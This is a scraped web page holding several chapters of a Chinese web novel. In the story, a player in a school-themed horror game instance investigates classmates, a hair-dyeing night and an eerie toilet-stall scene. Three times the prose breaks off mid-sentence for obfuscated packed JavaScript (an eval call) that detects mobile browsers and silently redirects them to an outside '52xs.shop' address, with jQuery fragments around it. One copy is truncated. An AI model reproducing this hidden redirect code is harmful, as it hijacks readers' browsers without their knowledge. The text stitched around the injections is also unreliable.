$(''#content'').append('' 拿到了——除非这就是游戏设定会触发的事件。 既然如此今天肯定会发生点什么事情。 所以现在的问题就是贺清璟他们几个进不了女生宿舍。 除非顾嗣显他能在晚饭前从高三里找到他们的队友。 总不可能没一个女生吧？没女生的话可就需要怀疑一下这个副本筛人的机制了。 步绾心事重重地答应了王鸯杏，心里惴惴不安。 但她很快没心情不安了——跑操真的是太累了，她的头脑已经完全放空了。 她清空脑子腾出的唯一想法是，一会儿第三节课下课之后她去找贺清璟说一声，今天中午最好还是和张婳蓉一起吃食堂，吃完食堂再去和他们汇合。 破旧的鼓风机慢吞吞地和同学一起爬楼梯回教室，她听到有同学在感慨，说不知道优等班被放在一楼是不是对其他人的一种激励，跑完操不用爬楼的诱惑可比“优等尖子”的名号的诱惑力大多了。 步绾深以为然。 并痛苦地决定回到现实世界之后开始勤奋锻炼身体，万一以后遇到个什么追逐类的副本不至于跑在倒数第一个。 体力活之后是脑力活，多么天才的设计，在跑操之后安排了物理课。 听也听不懂，看也看不明白，只想打瞌睡。 但是不敢，步绾生怕自己下一秒也直接灰飞烟灭。 什么东西啊到底，用粒子轰击氮核从原子核中打出了质子……不是，谁这么无聊啊？没事打这个干嘛？ “这个实验非常有意思，卢瑟福在1919年，1919年这个数字大家可能不陌生，也就再过这么一年，嘿，我们学校就成立了……好，就是在我们学校成立的一年前，卢瑟福，设计了这么一个有趣的实验，他用带正电的射线，阿尔法粒子，轰击金箔……” 阿尔法粒子又是啥，有哦米噶粒子吗？ 步绾思绪继续瞎飘，虽然这样的联想显得她很没有文化，像极了先认识游戏里角色之后才在学校里学到相关知识的部分小学生，但是也不影响她继续乱想来保持自己不陷入沉睡。 她上学的时候物理成绩就不能算好，天王老子来了她也要将原因怪罪于照本宣科教书的物理老师。或许物理老师教书的水平不算差，但是比起每节课都能分享冷门历史或者奇怪野史的历史老师，比起会领着他们做各种奇怪实验的化学老师，比起分享自己惨痛读博经验的生物老师…… 她建议物理老师还是要反省一下自己。 其实这个物理老师讲课挺有意思的，奈何她实在听不懂。 有些事错过就是错过了，再也没有挽救的机会。 这句话套在学习上也是一条至理名言。 “而且提起卢瑟福，我想对物理稍许有些了解的人都会知道一件很有意思的事，就是他身为一个知名的物理学家，身为一个拥有十二名获得诺贝尔物理学奖的学生或助手的导师，因为他在核科学和放射性方面的出色成绩，他在1908年——没错，我们学校成立的十二年前——获得了诺贝尔化学奖！” 步绾掀了掀眼皮子，终于提起了一丝半点的兴趣。 话说这里的老师是不是太以学校为豪了啊？怎么介绍个物理学家里都能掺杂着对学校成立年份的联动介绍啊。 15. 第 15 章 15 这个物理老师最大的优点就是他并不拖堂。 下课铃打响了他就结束了发散开来的小故事，收拾着教学材料，好学的同学们一个接着一个上去问问题，步绾从人群旁边挤过去，步履轻快地往楼下跑去。 下课时间拢共也就十分钟，上下楼不抓紧一点时间她肯定来不及。 优等生们下了课和没下课没什么差别，大家都在埋头做题。 步绾在窗口徘徊了一会儿，实在做不出敲敲窗户让窗边的同学喊人的事情。好在对方特别镇定，看到窗上投下一片阴影也不害怕，看了她一眼似乎便意识到了什么，扭头就喊了贺清璟。 一个班同时抬头的感觉也挺吓人的。 步绾下意识后退了一步。 贺清璟大步走了出来：“发生什么事了？” 步绾走近了一点，压低了声音：“我今天中午和同学去吃食堂，吃完饭出校，你怎么安排？” “我直接回家，班上的基本上都不去食堂吃饭。” “我可能又触发了一个特殊事件，”措辞是在上课的时候就组织好了的，所以步绾说得飞快又简洁，“容貌焦虑的同学购买了大概率无良代理商的染发膏，邀请我晚上一起去她宿舍帮忙染发。” 贺清璟皱了皱眉，很快就抓住了重点：“寄宿生？” “对。” “……希望顾嗣显今天能找到队友。”他有点头痛，这种找不到实际主线、也摸不清任务方向的副本让他有点厌烦，或许更准确来说，他更厌烦的应该是主导权不在他这里。 当然，他并不是觉得触发事件的都是顾南栀这一点不好，事实上顾南栀是他目前接触下来的新手当中最优秀的那一个了。 只是到现在为止他都没有触发什么事件，但是他也没有找到自己到底错过什么线索，他只是因为这个头痛。 “你吃完饭直接来我家，”贺清璟停顿了一下，补充道，“如果需要和家里解释的话，就说明诀出了套题给我讲，我带上了你。” 步绾比了个ok的手势。 也不知道这学校能不能私下补课，不过管他呢，反正他们又不会反手把明诀给举报上去。 不对，他们本来就不是补课。 步绾想着，又开始痛苦地爬楼梯。 四五楼的教室和八百米的考试，不知道哪一个更加让人痛苦一些，两个都是漫长的、回旋的、看不到尽头的折磨。 然后她突然意识到一个问题，她没有手机，但是其他人总该有吧？贺清璟他们和顾嗣显的联络不会也是这么原始吧？他们几个可不在一栋楼！那为什么他们没有主动要她的联络方式？甚至都没问过她有没有手机？ 想不明白，大佬应该有大佬自己的判断。 步绾手撑着栏杆歇了一会儿，决定不再去想。 或许其实就是很简单，在这个副本里非同班异性主动添加联络方式会被判定成早恋呢。 说到早恋，唉，周陈澄喜欢的到底是谁啊？总不至于是贺清璟吧？不也不能说“总不至于”，或许就是呢，总不能就她一个人在不断触发剧情事件吧？她虽然挂着个GM名号，但也不至于像是鸣人那样三年不回村平安无事、一回村就刷新出尾兽事件吧？ 而且早恋被发现了怎么办？今天晚上的染发事件不会最终演化成大战宿管及老师吧？作为老师一方的明诀肯定是帮不上任何忙了，不知道高三那边的阵营里能不能刷新出一个女老师出来，如果能刷新出来的话她也有了一点底气。 唉，不是，这个副本让人通过周测，但是到现在触发的事件和周测也没什么关系啊…… 年轻小孩儿哪来的这么多毛病？象牙塔里呆久了吧？ 步绾心里骂骂咧咧，在跨进教室的那一瞬间回过神来，想自己怎么也变成了以前讨厌的那种人，但转念一想，她都被这个副本祸害了，骂骂npc事多怎么了，她还天天在心里骂要炸这个世界呢。 不过真的是npc吗？ 她再一次想着。 于是中午吃饭的时候步绾久竭尽全力去套话。 她是和张婳蓉还有李莎白一起吃的饭，步绾今天打的是椒盐排条和肉炒粉丝，考虑到这两个都很下饭还特地多盛了点米饭，和身边两个保持身材的小姑娘一对比量有些惊人。 同伴们照常发表了一些羡慕顾南栀吃不胖的言论，然后她再照常安慰她们起码你们不用吃那么多药。 那药是真的多不开玩笑。 闲聊了几句之后步绾假装不经意地提起：“哎，橙子那事儿……” 张婳蓉扬起一抹会心的八卦笑容：“她打算出手啦？” 得，小姑娘这暗恋真是广为人知的明恋。 李莎白嘟嘟囔囔着抱怨：“也不知道她看上那小子什么，帅嘛又帅不过贺清璟，而且还比咱高一年级，等人上了大学看到那么多漂亮女生哪儿还管得住啊……但又没办法，她死盯着咱也只能帮忙了！” 啊，所以是高三的，回头还可以拜托顾嗣显看看是个什么货色。 “可能是距离产生美。”歩绾胡咧咧，毕竟她是在场唯一一个不知道那个确切对象的人，也不好随意做出什么评价。说真的这里发生的一切都有些太过唬人了，比起说在某个游戏准备通关副本，倒更显得像是她穿越成了谁的高中时代。 甚至到现在为止也没有真正意义上实打实地对她造成什么伤害，心理上的阴影除外。所以相较于她看过的那些小说来说，未免有些太“友善”了。 不管是无限恐怖类小说还是恐怖电影，学校明明都是事件的高发地段。多出来的台阶，夜半响起的钢琴曲，流眼泪的雕像，厕所里的哭声，水龙头流出的浑浊血液……当年贴吧里的一句话小故事里学校总能占上重头戏。 “哎，不过贺清璟和顾嗣显不是好像关系不错的样子嘛？你没和贺清璟打听过顾嗣显？” 歩绾的思绪一下子被抽回到了现实，这抽得太突然了，感觉像天外来了个大嘴巴子，以至于她还有些茫然，疑心刚刚是自己听错了名字，徒劳地眨了好几下眼睛试图消化刚刚获得的信息量。 心里第一反应居然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652719|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是——我草，他们也没说错，感情俩姓顾的还真是主线人物。 “对啊，栀子你应该问过吧？”李莎白像是才发现了盲点，“嘿我们居然还忘了还有个贺清璟，感觉和他处得好的人应该也不错哦！” “稍微打听过，”歩绾含糊道，“我也不好直接和人说我班上有人暗恋你朋友，这不太明显了嘛？” “也确实不能打听得太明白，”张婳蓉挤眉弄眼，“她那少女心思虽然大家都能看得出来，但捅破到人面前就有点太那个啥了。” “今天中午顾嗣显好像要去找贺清璟，”歩绾挠了挠侧脸，“我去探探。” “加油！栀子！组织信任你！” 背负着同学们的信任，歩绾心事重重地敲响了贺清璟家的大门。 来开门的是刚刚话题的主人公，顾嗣显。 她头一回认真地上下打量了顾嗣显一番。 顾嗣显长得挺好看的，到目前为止她所看到的玩家们个顶个的好看。高高瘦瘦的，但不是那种清瘦，而是锻炼良好有薄肌的那种，袖子拢到手肘露出的小臂线条很好看，还有青筋。 歩绾没忍住盯着看了几秒。 小姑娘喜欢他好像也没有什么问题，就是不知道小姑娘喜欢的是原本副本里的那个顾嗣显，还是进了副本之后的那个顾嗣显。 “怎，怎么了？”顾嗣显眨了眨眼，不太理解顾南栀这种自上而下的扫视，“又触发什么剧情了？先进来吧，我们找到新的伙伴了。” 歩绾点了点头，又看了顾嗣显一眼。他比自己高了快一头，那比周陈澄也要高上很多，特别符合以前流行的那个最萌身高差。 “怎么，最新的剧情是关于我的？”他半开玩笑道。 “嗯，有人暗恋你。”歩绾随口道，然后看向了室内的几人。 “哈啊？”顾嗣显一挑眉，有点摸不着头脑，但是先介绍了一番，“这仨儿都是高三的，石云蔚，三班英语老师，也是指引人；黎微月，和我一个班的，慎致远，六班的。” 然后他又指了指歩绾：“喏，这位就是虽然是新手但是一直在推进剧情的，顾南栀，比我可有用多了。” “你这是在捧杀。”歩绾嘟囔了一句，朝其他人打了声招呼。 石云蔚看起来也很年轻，感觉也是能塞进来充当学生的存在，不过英语老师的身份倒也没什么问题，毕竟众所周知，每个班的英语老师都是最年轻靓丽的那一个。黎微月看起来像是古早的萌属性三无，抿着唇安静地缩在角落里，单纯的没有表情而不是社恐内向的感觉。相较而言慎致远算是看起来最普通的那一个，当然，长得也确实还行，这个副本进来的六个玩家就没一个长得丑的。 感觉这游戏的选人机制有点问题，还是因为GM是肤浅的她所以选的人都得是长得好看的？ 想不明白，不想了，反正她只是个普通的新人。 她看了贺清璟一眼，对方点了点头，于是她把触发的新剧情和大家分享了一下，看着脸色诡异变化的顾嗣显，最后结尾在：“对，周陈澄暗恋的就是你。” 16. 第 16 章 16 “这是我第二次进副本，所以我不太懂，”慎致远是在场最茫然的那一个，“这个副本……它，它真的是那种……呃，正经的副本吗？我是说那种，呃，恐怖副本吗？” 他的言下之意：怎么连暗恋的戏码都跑出来了啊？！ 贺清璟没理会他，他微微皱着眉，手指不自觉地轻轻敲打着桌面，问出了一个大家暂时都没想到的问题：“所以，这就是你们两个姓顾的原因吗？” 两个姓顾的面面相觑，并不太明白自己身上有什么特殊性。 “本来按照常理来说，获得npc的眷顾可并不是什么好事，”明诀回答的是慎致远的问题，却意有所指，“但是在这个副本里可不一定哦。” 慎致远疑惑地看他。 接过话头的却是石云蔚，皱着眉表情不是很好的样子：“一般有两种，最常见的是那种，并不好说是buff还是debuff的存在，npc的注视、npc的偏爱、npc的眷顾……副本里的npc大部分不会是善意发生方，它给出的所谓偏爱和眷顾是会扭曲的，比方说把玩家弄死玩家就能永远陪伴它了。但是也有厉害的玩家利用好这种debuff，深入挖掘了副本将副本升级的情况。” 她停顿了几秒，给新玩家们一个缓冲的空间：“当然，极少数玩家能利用它那是他们自身的出色，也是有友善方npc给出的正面buff的偏爱或者眷顾这种的。善意npc给出的正面道具虽然也不多，但是祝福是更为罕见了，我只听说过没见过反正。” “那么不常见的那种呢？”黎微月问道。 “就是你小说里常看到的那种，主角和系统谈恋爱，主角和邪神谈恋爱，主角和反派谈恋爱。”石云蔚耸了耸肩，看到顾南栀表情也变了之后，意识到这也是个喜欢看小说的，笑了，“所以，在这里，作为指引人附送一个友情提示给你们，在之后的副本里，小心一个叫景梵的人哦。” …… 啊。 还有这家伙的事呢。 中二的年纪憎恶着全世界，怀揣着举世皆醉我独清明的飘然态度，抨击学校抨击人类抨击全世界，张口闭口生而为人我很抱歉结果直到上了高中才发现说这话的人是太宰治而不是大宰治，就是这样的时期，创造出来的角色。 这个角色发表着那种一看只有小学生才会说出来的言论——我犯罪，只是因为我擅长犯罪，就好比你们获得了钢琴专业级的证书，总是会忍不住出去展示一番，不是吗？ 这么说的原因也是因为歩绾稍微长大了一点才知道其实也只有他们这年纪的学生才在乎什么乐器几级不几级的说法。 她到现在都记得这篇文的标题叫《请杀死我》。 她那个年纪的阅历和她那时嫌弃的善良本质，导致她虽然再中二脑残也写不出真正黑深残的内容。自以为给角色泼满了黑泥，结果只是给角色铺满了自毁倾向，艰难地从泥泞里爬了出来，嘲笑着皎洁月光居然也会照亮他这种烂泥的时候仍然颤着手试图去接触月亮。 结果月亮是血月，血月上的神明笑眯眯地握住了他的手，邀请他去毁灭世界。 对，没错，在歩绾其实还没有邪神相关概念的时候，她就已经大胆创作了这样的“巨作”。 景梵的原本设定是少女，后来改着改着就变成了少年，改的原因美其名曰舍不得女生受这样的苦，但歩绾也很清楚只是那个时候的她自己更偏爱男性一点。就算变成男生也也不肯舍去花了大段篇幅描写的精致相貌，所以景梵是个看起来精致瘦弱的美少年，一点都不贴切他的悲惨背景。 不得不说如果这个化为现实的话，不知道这个精致相貌会不会让他的过往变得更悲惨一点…… 故事简要来说大概就是“神明”回应了蝼蚁的呼唤，带着蝼蚁一起去毁灭世界。但实际写出来的却是“神明”发现了蝼蚁心中对光明的追逐和渴望，一点一点试图磨碎他击垮他。 然后就没有然后了，这种文对于一个十三四岁的初中生来说真的太难写了。 没有说对于现在的社畜来说不难写的意思。 虽然说那个时候她压根没有什么邪神不邪神的概念，但不得不说的是那个年纪的小孩写出来的东西可不比这些文学来得恐怖得多……所以这篇文她的印象还挺深刻的，一提到景梵这个名字她就立刻想起来了。 不过现在的重点倒也不是这个，她想，反正短时间内又遇不到他——她不会立那种遇不到的flag，按照常识来看要么之后贺清璟他们会遇到他，要么就是之后她会遇到他。不过现在思考这个还是有点为时过早，她这个副本还没通过呢。 ……话说这副本怎么什么人都招啊？那种体内自带邪神的不怕人把自己打趴啊？这系统得多厉害啊？ 歩绾回过神的时候明诀已经开始分析：“……所以我觉得这个事件和这种debuff应该不相关，只是单纯作为一个故事节点。这应该是一个冲突节点，学生心思没有放在学习上，冲突的对象可能是老师和宿管，但我们有一点被动的是，宿管这边没有玩家。” “真正被邀请加入事件的只有顾南栀，以前的触发点也是都集中在她身上，这在副本中并不常见，最可能的原因是她做了什么自己都没有意识到的，甚至我们也没意识到的举动，又或者是一个她以为很常见的、但我们也没有察觉的发现，使得她被这个副本选中作为‘主角’去推进剧情。” “HEPTA？”顾嗣显问道，“和这个有关系吗？” 歩绾想了想，摇了摇头：“我感觉没太大关系，周陈澄不追星，她只喜欢看小说和动画片，哦，还有喜欢你。” 顾嗣显扁了扁嘴，因为后面那半句话。 游戏的分配其实很平均，两个指引人分别是高二高三火箭班的老师，且一男一女；两个算是新玩家的都不在火箭班，且一男一女。所以现在的安排必然有其规则，只是他们目前找不出来。 “有一种可能，”明诀忽然开口，视线直勾勾地落在歩绾身上，他难得的正经模样莫名带来了一股压力，“比起我们来说，这个副本的剧情更加贴合顾南栀或者顾嗣显，不，应该是最为贴合顾南栀经历过的高中生活。” 歩绾愣在那里，没想到明诀居然能够这么快抓住这一点。但是她的发愣被其他人误解，以为她没想到这一点，并因此而担忧。 “所以她才会对你说，你出现得太晚了。”明诀看着她，“从之前的聊天中可以判断出来你的高中也是如此的重压，所以你其实很习惯于这个环境，比起我们的探索来说，你更像是回到了熟悉的高中时代，所以你没有意识到这个问题。而剩下的也因为分散开来而没有更早意识到这一点。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652720|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 石云蔚若有所悟：“确实，首先作为老师的我和明诀是不可能做这个推动剧情的人的，再加上我们本身作为指引人……不，应该说，正因为我们是指引人，所以我们被安排了老师的身份。剩下的学生中其实每个人本来都可以触发剧情，但是因为剩下的人都在探索，老玩家的优势和劣势都在于此，你们没有办法像顾南栀那样自然而然地融入副本。” “所以我们目前而言感受到的，‘没有主线任务’、‘没有探索目标’，其实某种程度上都是在贴合这个副本的实际内容，高中生的主线任务从来都只有好好学习迎接高考，”即便如此，慎致远还是有些困惑，“呃，所以这也算是契合高中生的对未来茫然不知所措？我们通过解决大家的心理问题来通过副本？” “既然这样的话，晚上分组，我和微月跟着去女生宿舍，其他人去心理医学室？”石云蔚的分工非常合理，划分的原因自然也简单得过了头。“之前说的那几个点明诀麻烦你多留神一点，然后，南栀，有些问题我还有些好奇，我方便去你家看看吗？” 石云蔚对她的声音很明显地柔和了下来，不知道是不是顾及到她是新手又是最努力推剧情的那一个。 歩绾开了门，这个时候奶奶已经去其他人家里打牌去了，家里安静且空荡。 “明诀给我们看了那些答题卡，”石云蔚得到允许之后就翻看着她的房间，语气听起来依旧是随意的，但是又很温和，大概是音色的原因，听起来莫名有一种安定人心的力量，“老实说，按照刻板印象的话，这个更加可能是出现在高三学生的桌上——我对其他人做过一些基础的了解，但是他们的家庭背景设定并不如你这边这么完善。” 其实也不是很完善，她爹不知道在哪儿，她也没敢问。 “你和家里的npc有发生过什么交流吗？” “就是很日常的交流，”步绾试图回忆进了副本之后算得上平静的日常，“顾南栀的母亲跟她说不要追星好好学习之类的，要记得每天吃药之类的，然后奶奶就更日常了，问吃什么不吃什么，但是跟设定好的程序似的，只喜欢煮菜面。” “吃药？吃什么药？” 步绾领着石云蔚去看了摆在餐桌上的药，石云蔚一一翻检着，认真地看过说明书之后扭头问她：“你都吃了？” “啊？npc让我吃了……” “大部分是处方药，精神药物，顾南栀的同学们知道她吃这些药吗？” 步绾回忆了一下，摇了摇头：“应该只是以为她身体不好，不知道她吃的这些药，她好像也不希望别人觉得她有精神病。” “果然顾南栀才是副本的核心。”石云蔚皱着眉，手指有意无意地摩挲着大理石桌板的花纹，像是在用手指理清心里思路一样，“被小瞧的青春期孩子的，不，青春期女生的心理疾病，通关副本的高分思路只有解决顾南栀的心结这一条路。” 啊？ “这不可能吧？”步绾掰着手指数，“她妈妈这边肯定说服不了，幸羽妍，我的意思是那个数学课代表……就，npc走的都已经走了，这怎么把她从阴影里解救出来？你总不至于说能拯救自己的只有自己吧？” “对，能拯救自己的只有自己，”石云蔚朝她弯了弯眼，“所以我们下一步就是在副本里找到顾南栀。” ……啊？ 17. 第 17 章 17 步绾迷茫了很久。 她大概能猜到石云蔚的思路—— 首先副本与他们平时经历过的副本大相径庭，没有明确的主线任务，于是他们确定了“没有主线恰恰与高中生没有目标这一点相符合”，反而意识到了另一层面的“主线任务”。 然后从为什么触发事件的一直都是顾南栀这一点出发找寻顾南栀和其他玩家之间的差别，最终确定，游戏选择来扮演“顾南栀”的这个玩家有和顾南栀类似的经历。 ……所以什么叫在副本里找到顾南栀？ 意思是这个副本其实是以顾南栀的意识生成的？他们接下来要做的是找到顾南栀的意识把她唤醒？ 怎么就突然跳到这一步了？她错过了什么重要的分析环节吗？ 是因为那句我知道你不是栀子吗？仅仅是因为这句话吗？还是她又忽视了什么关键信息？ 步绾意识到可能她先入为主地被她是GM这个设定给困住了，她理所当然地觉得这个副本需要给她优待……不，等一下，其实这和她是GM的设定并不冲突，是她自己把路走窄了。 但现在这些都不是重点，她要去帮人染头发了。 好奇妙，在副本里帮人染头。 把黎微月引进来的办法就是让她帮忙带饭，步绾下午就和周陈澄她们说了这件事。石云蔚要自己找准时机假装不经意地路过，这点反正她是老玩家，她自己把握，来不来都行。 染发膏看起来确实不太正规，牌子本身就闻所未闻，当然副本里的牌子没听过也挺正常的。盒子上硕大十个字“我不是染发剂”“过敏包退”，黑体粗体，让人看着就觉得像是去坑害中老年人的玩意儿。 哦这是背面，盒子正面还画了个感觉非常掉san的——人头上长出了薰衣草，这话说起来有点奇怪，但总之是一张艳丽的脸，飞扬眼影配上烈焰红唇，确实让人不是很能移得开视线。本该是头发的地方变成了茂密的薰衣草…… 到底谁会想出这种创意啊？！ 写着“专注染发20年”“草本固色不伤发”“持久固色您的选择”之类的小字，还都有着一看就有错误的机翻英文…… 步绾捏着这个盒子欲言又止，抬头一看其他人围围裙的戴手套的扎头发的热火朝天，好像完全没人质疑这个产品的安全性。 还不如紫药水呢！ “要不要美白的那个和染发膏一起上？”王鸳杏提议，“反正都要停留十五分钟嘛。” 美白产品是周陈澄买染发膏之后代理商送的礼物，说是问过她有美白需求之后倾情推荐的，一抹即白不伤肤，只是需要后续做好防晒。打的旗号挺好听，试用装给新客户，好用的话再来买大罐的。 周陈澄眼睛亮亮的，似乎在期待之后的美白场景，但又有些自己都说不上来的不好意思，问她们要不要也一起抹七白膏。 听着一片迎合声步绾更加心累，看大家视线都集中在一直没说话的自己身上，只能硬着头皮开口：“也行，差不多我姐那个时候也能把饭给咱带过来，反正橙子又不吃东西，我们在旁边吃东西诱惑她。” 几人嘻嘻哈哈着便开始染了。 但最后里面唯一有染头经验的还是步绾，她在李莎白想直接把染发膏往人头上糊之前叫了停，在周陈澄的指点下找到了维e乳——感谢她没用什么不正经的护肤乳——小心翼翼地在她的额头、耳根和后颈抹了一圈。 她这么想着，努力回忆了一下步骤：“哎等下，先在耳后根抹一小块皮肤试一下看看过不过敏。” 周陈澄无所谓地挥了挥手：“没事，我皮糙肉厚，而且它写了不过敏呢，我们抓紧时间来，毕竟还要等十五分钟还要洗头呢！” 步绾只能退让，想着既然染发不可避免，那尽量让人小姑娘好看一点。 于是她指挥着让她们帮周陈澄的头发分区一同染，看着粘稠如巫婆毒药一般的小碗，回想了一下自己每次染头调得跟奶昔一样的染发膏，最后还是保持了沉默。 好在……呃，可能也不能用好在，总之就是小姑娘头发没那么多。 不过照现在的学业压力和她这种减肥的吃法，头发如果能非常茂盛的话那实在是天赋异禀了。 进程确实挺快，因为都是深色也看不出来有没有染均匀，步绾想仔细辨一下补色又被周陈澄乐呵呵地拒绝，理由还是那套，咱时间紧。 染完之后七白膏刚糊上脸，黎微月就端着饭上来了，一进来看到除了顾南栀以外几张白脸愣了一下。 步绾在心里感谢顾南栀的吃药属性，让她避免荼毒。她迎了上去：“辛苦啦，你买了些啥啊？” “我怕你们吃饭不方便，所以买的是小笼包炒粉之类的，但是……” 但是也没想到你们脸上都糊了层石膏似的嘴都张不开啊。 “没事谢谢人美心善的学姐，”王鸳杏自来熟，她竖起大拇指，“我的血盆大口可以吃得下小笼包。” 几人纷纷表示了谢意，这个年纪的高中同学哪怕再内敛害羞，凑在一起也能聊得起来，尤其是黎微月还和顾嗣显是同班同学。 步绾朝她们眨眨眼，假装不经意地问道：“诶月姐，你们班有没有长得帅的男的啊？” 黎微月自然知道她想挑起怎么样的话题，吸着豆浆假装思考的样子：“嗯……长得还行的也就个顾嗣显吧，挺高的，隔壁班好像有女生喜欢他。” 这一声声“哦～”抑扬顿挫此起彼伏的，亮晶晶的眼睛同时看向了黎微月，黎微月从没在副本里见到过这么好沟通的npc，卡了下壳。 “嗯……你们知道的，夏天男生都喜欢打篮球，大家都汗涔涔地回来，但是顾嗣显的话会收拾一下比较清爽，”黎微月开始在一定事实的基础上随意展开，“然后你们知道的，我们班管得比较严，天天不是考试就是考试，晚自习也都是考试，大家脾气都比较暴躁，但是顾嗣显脾气挺好的，感觉好像没什么能让他生气。” 她甚至还拉踩了一下贺清璟：“听说贺清璟收到明信片会直接丢掉呢，但是顾嗣显会把明信片收起来放家里，说不管怎么样是女生的心意。” 等下等下这戏码好像有点过了。 步绾嘴角一抽，强行抿嘴拉平，假装自己没有任何表现。 “啊？贺清璟是这样的人啊？”李莎白似乎有些意外。 王鸳杏用手肘推推她，挤眉弄眼，然后脸上“石膏”崩裂，又急忙伸手去按：“哎话也不是这么说的，有喜欢的人之后就该‘油盐不进’嘛。” 步绾眼观鼻鼻观心，假装她们提及的不是自己。 她确实对这个也没什么感觉，主要问题就是高二也就一个贺清璟，但凡黎微月在高二，她也就不用这么被打趣了。 二十分钟在八卦闲聊中转瞬即逝，几人热热闹闹的，洗脸的洗脸，步绾和黎微月去帮周陈澄洗头。本来周陈澄不太好意思让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652721|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎微月帮忙，被黎微月一句好奇染发效果她也想染打动，竖起了大拇指和她说，你就看我效果好不好，不好的话就别买，当我帮你试水好了。 女孩子永远是最最热情的。 其他人洗完脸咋咋唬唬地表示诶好像真的有点变白了，弯着腰洗头的周陈澄还不忘表示让她们赶紧用桌子上的维e乳护肤。 像一群热热闹闹叽叽喳喳的鸟崽子，挤着毛茸茸的胸脯蹭在一起，鲜活又灵动。 出乎步绾意料的是，这染发膏居然还真有用。 看起来依旧是普通的黑色，甚至比原先要深一点，因为周陈澄有点营养不良，头发其实是有点发黄的，但是手电筒的光一照，便显现出好看的深紫色出来。 唯一的缺点就是毛巾染色了。 而且这美白产品抹下来脸好像还真的变白了。 难道这就只是个偶发事件？ 步绾和黎微月对视一眼，不知道是不是该庆幸无事发生，还是该遗憾没有触发新的事件，但看着周陈澄抓着自己发尾仔细打量的样子，又觉得好像还是什么都没有发生最好了。 副本大概就抓着人的这么个心理，第一节晚自习下课的时候，周陈澄跑出了教室，一直没回来。 第二节晚自习到一半的时候，步绾实在忍不住，捂着肚子咬着嘴唇假装不舒服，带着一大包纸巾，和老师请了假去了卫生间。感谢顾南栀的病秧子体质深入人心，老师甚至还嘱咐了一句如果不舒服的话就先回家，没必要在学校里死撑。 呃，也得感谢顾南栀的成绩还算不错，步绾想。 最里面一间的门是关着的，看影子里面像是有人的样子。 步绾试探着喊道：“橙子？” 影子动了动，在步绾疑心里面不是周陈澄的时候，很闷的、还带着哽咽的声音响起：“怎么了。” “你没事吧？”哭过的声音实在太明显了，步绾想，“我看你到现在都没回来，担心你是不是没带纸就跑出来了。” “……我带了。”她似乎有些无语，声音也没那么闷了，“我就是肚子有点不舒服，没事的。” 步绾当然不信，但是她有点犹豫要不要往下“触发剧情”，主要这个场合确实有点微妙，勾起了她一点关于恐怖故事的回忆。 她想了想：“那你要纸吗？” “……给我吧。” 门下方伸出来一只……手。 卫生间的昏黄灯光下，那只手的影子飘渺似轻纱，五指是连在一起的，在地砖上游弋。 步绾闭了闭眼，她这回是真不敢继续触发了。她将纸递给了周陈澄，离开了卫生间，倒也没回班级，而是跑到了一楼，绕到了一班的后门。 坐在讲台前无所事事的明诀一眼就看到了她，一派自然地走了出来。 步绾已经退到了楼梯间，简单地介绍了一下发生了什么，着重描述了一下周陈澄那形态怪异的影子。 明诀看着她手上拿的大包纸就知道她打的什么借口出来的，摸出手机打电话，电话那边自然是石云蔚。 男性不能进女厕，自习时间高三的黎微月也不能来高二这栋楼的女厕，能来帮忙的只有其实出现在这里也不合理、但毕竟有一层老师身份的石云蔚。 步绾回班级请假，慢吞吞收拾着书包，仍然维持着眉头紧皱看起来很难受的模样，余光瞥到石云蔚经过了她们班教室之后，才背起书包，捂着肚子又先去了卫生间。 18. 第 18 章 18 大概过去了十五分钟的样子。 步绾又敲了敲隔间的门，知道石云蔚在外面守着的她稍许心安了不少，但是对周陈澄的担忧倒没减弱，因为她看到整个影子都变得畸形了：“橙子？我看你还没回去，你没事吧？” 影子迟缓地挪动了一下，声音依旧很闷，含糊得像是发声器官里盛满了液体。 “……你怎么……”她似乎听出来了自己的声音诡异，于是又不说话了。 “你还没有回去，我担心你。”步绾抱着书包蹲在地上，有一点想从门缝偷窥的冲动，但又怕看到什么自己没法承受的景象，又有些犹豫，“正好我肚子也疼得厉害，请假回家了，你不舒服的话和我说，我回家拿药给你。” 她不知道这学校有没有理论上该配置的校医，也不知道该不该说自己是装病回家的。不过或许说自己装病好像也没什么问题，正好让外面的石云蔚听到动静假装抓人进来。 “我很羡慕你。” 啊？ 步绾一愣，不知道这怎么就到了这种“直抒胸臆”的环节，但很快不安就涌上了心头，她又拍了拍门，顾不上什么影子不影子的问题：“橙子，你先出来好不好？” 